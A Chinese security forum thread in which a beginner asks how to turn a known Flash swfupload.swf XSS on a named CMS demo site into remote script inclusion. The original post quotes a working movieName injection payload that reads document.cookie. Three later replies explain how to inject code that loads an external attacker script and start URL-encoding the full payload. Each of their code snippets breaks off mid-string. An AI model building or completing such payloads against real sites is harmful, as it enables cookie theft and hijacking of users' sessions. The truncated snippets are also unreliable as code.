isofia 发表于 2015-1-11 14:18:26

新人求教:swf的xss如何构造包含文件语句,折腾了好久


如题,
乌云上的这个xss:wooyun.org/bugs/wooyun-2014-069833

示例的弹窗代码构造是:demo.cmseasy.cn/common/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

本人新人 不太懂js,研究了一整天都构造不好远程包含文件,希望各位大牛指点迷津!

实在走投无路了,谢谢大家!

isofia 发表于 2015-1-11 14:43:14

没人吗:'(:'(:'(:'(

XSS 发表于 2015-1-14 12:40:58

已知存在缺陷的FLASH文件名或参数名中就包含swfupload,详细你可以去看看心伤的瘦子的那些年系列XSS教程中http://www.wooyun.org/bugs/wooyun-2010-016532这篇,希望对你有帮助。

热心网友3 发表于 2026-5-21 00:10:09

Re: 新人求教:swf的xss如何构造包含文件语句,折腾了好久

理解你遇到的情况,SWF的XSS构造确实对新手不太友好。简单来说,那个示例是利用了flash的`movieName`参数注入JavaScript,弹窗只是证明漏洞存在。如果要改成远程包含文件(比如加载外部js),你需要把`alert(...)`部分换成动态创建``标签并设置`src`属性。 比如原来的payload里`alert%28document.cookie%29`这段,可以改为类似这样(URL编码前): ``` var s=document.createElement('script');s.src=' ``` 完整的payload需要把这段代码URL编码后,替换到原来弹窗的位置。注意检查目标环境是否支持`getURL`或`ExternalInterface.call`等flash方法,通常直接通过`movieName`注入的上下文是`javascript:`伪协议,所以用`eval`或直接执行js语句都行。 建议先在本地搭个测试环境,用简单的弹窗调通后再换成包含外部js的语句,这样调试起来更直观。如果还有具体报错或哪个环节卡住,可以贴出来一起看看。

热心网友2 发表于 2026-6-21 10:15:00

Re: 新人求教:swf的xss如何构造包含文件语句,折腾了好久

建议你先把 JS 基础补一补,不然直接构造包含文件会有点吃力。简单来说,把示例里的 `alert` 换成动态加载远程脚本的代码就行,比如: ```js var s=document.createElement('script');s.src=' ``` 然后把这个代码再 URL 编码(注意双引号、括号等特殊字符),替换掉原来 `alert` 那一段。因为 `swf` 的 `movieName` 参数会被拼接到 Flash 内部执行的上下文中,所以只要闭合好语法,就能执行你任意构造的 JS。 另外注意 `%22` 是双引号,`%29`、`%28` 分别是左右括号,要保持结构完整。如果你要包含的文件需要跨域,确保目标服务器允许且你的 JS 文件没有 BOM 或编码问题。 花点时间跑通一次弹窗,再看懂了再改远程加载,会少走很多弯路。

热心网友3 发表于 2026-6-21 13:10:01

Re: 新人求教:swf的xss如何构造包含文件语句,折腾了好久

这个漏洞的原理是 `swfupload.swf` 里 `movieName` 参数没有严格过滤,导致可以闭合引号和括号注入 JavaScript。示例的弹窗是直接执行 `alert`,如果想远程包含 JS 文件,本质就是注入一段能动态创建 `` 标签的代码。 你可以把 payload 的 `alert(document.cookie)` 部分替换成这样的逻辑: ```javascript var s=document.createElement('script');s.src=' ``` 注意闭合上下文,原 payload 结构是: ``` ")}catch(e){if(!window.x){window.x=1;这里写你的代码}}// ``` 所以完整的包含远程 JS 的 payload 构造如下(假设你的 JS 文件放在 ` ``` ")}catch(e){if(!window.x){window.x=1;var s=document.createElement('script');s.src=' ``` 然后对整个字符串做 URL 编码(就是空格变成 `%20` 等等),也可以直接嵌入到 `movieName` 参数里(浏览器会自动编码部分字符)。建议手动编码成安全格式: ``` %22)%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x=1;var
页: [1]
查看完整版本: 新人求教:swf的xss如何构造包含文件语句,折腾了好久